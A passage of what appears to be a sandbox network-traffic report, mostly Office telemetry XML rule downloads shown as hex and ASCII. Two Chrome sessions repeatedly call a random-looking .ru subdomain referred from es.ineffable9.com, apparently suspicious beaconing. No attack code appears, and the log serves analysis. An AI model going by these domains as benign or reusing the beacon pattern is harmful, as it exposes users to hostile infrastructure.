T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-05 21:16:51 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-05 21:16:51 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-05 21:16:51 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-05 21:16:51 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-05 21:16:51 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-05 21:16:51 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-05 21:16:51 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-05 21:16:51 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49783	172.67.189.38	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:51 UTC	667	OUT	GET /OtSkvjmchSsJEGhrbseuEqPeaTIvXYqHHGMEEXULSOCDGARUJMFMHTNHTUGWY HTTP/1.1 Host: yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://es.ineffable9.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://es.ineffable9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:51 UTC	912	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lVuPTrDa1Bcr%2FhoCqmM1yCxmMI4VB%2FIZ7lWNx8HaLZHZ%2B317MyXV%2F4EKX%2F9VihOI8O90oNxtoC3zSISUc6i0P00mjurcjeZYgNOoXtny8gssppKcM5n3SUYra2lh7rDmkHdyoNVlVlBuKNyKMQe9CSDg7j6BnfJplX9idftgnpga%2FA6GseXSnfQkOm%2F%2F7puB62zCFFUSKWyvKdm1eQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed70f44e9a0de98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1443&min_rtt=1438&rtt_var=550&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1245&delivery_rate=1967654&cwnd=208&unsent_bytes=0&cid=e02645195bb40471&ts=869&x=0"
2024-12-05 21:16:51 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-05 21:16:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:53 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:53 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c4831996-901e-0016-39ce-45efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211653Z-1746fd949bdqpttnhC1EWRe1wg000000032g000000003snb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:53 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:53 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:53 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:53 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: a4163f78-301e-0020-5cca-466299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211653Z-1746fd949bd77mkmhC1EWR5efc00000003k000000000a0gz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:53 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:53 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:53 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:53 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 9ac3d201-201e-0000-03c5-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211653Z-1746fd949bdhk6hphC1EWRaw3c00000002xg00000000vxfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:53 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:53 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:54 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:53 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: efe15fe4-901e-0048-7098-46b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211653Z-1746fd949bdw2rg8hC1EWR11u400000003k0000000009ge9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:54 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:53 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:16:54 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:54 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 667c147a-501e-0016-34cc-45181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211654Z-1746fd949bd6ztf6hC1EWRvq2s00000002vg00000000n5n4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:16:54 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49792	104.21.65.72	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:54 UTC	459	OUT	GET /OtSkvjmchSsJEGhrbseuEqPeaTIvXYqHHGMEEXULSOCDGARUJMFMHTNHTUGWY HTTP/1.1 Host: yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:55 UTC	904	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hx4AfOdxpJ4cG8BQnXzun0%2B7GbWiUFEcCEK%2F2PWPdg1R0ccCv489aZeJ1wtqtN4PxSv80N3npuRqjscnwoAy2HDgaI5vpMyRG0w2qigoHAOVuTRZTw6Jz7ScrdypZAkjDreXO6l5rmaBL8J2IyATYOS6BAsfnuGnUiNuMzm%2BG2ziBQfFFvNMQfGxNkgoW6XOTb1KhnnU%2Be6ioAYaow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ed70f5aa8100f81-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1725&min_rtt=1721&rtt_var=655&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1037&delivery_rate=1659090&cwnd=239&unsent_bytes=0&cid=b27a7e94d39e66d4&ts=924&x=0"
2024-12-05 21:16:55 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-05 21:16:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:55 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
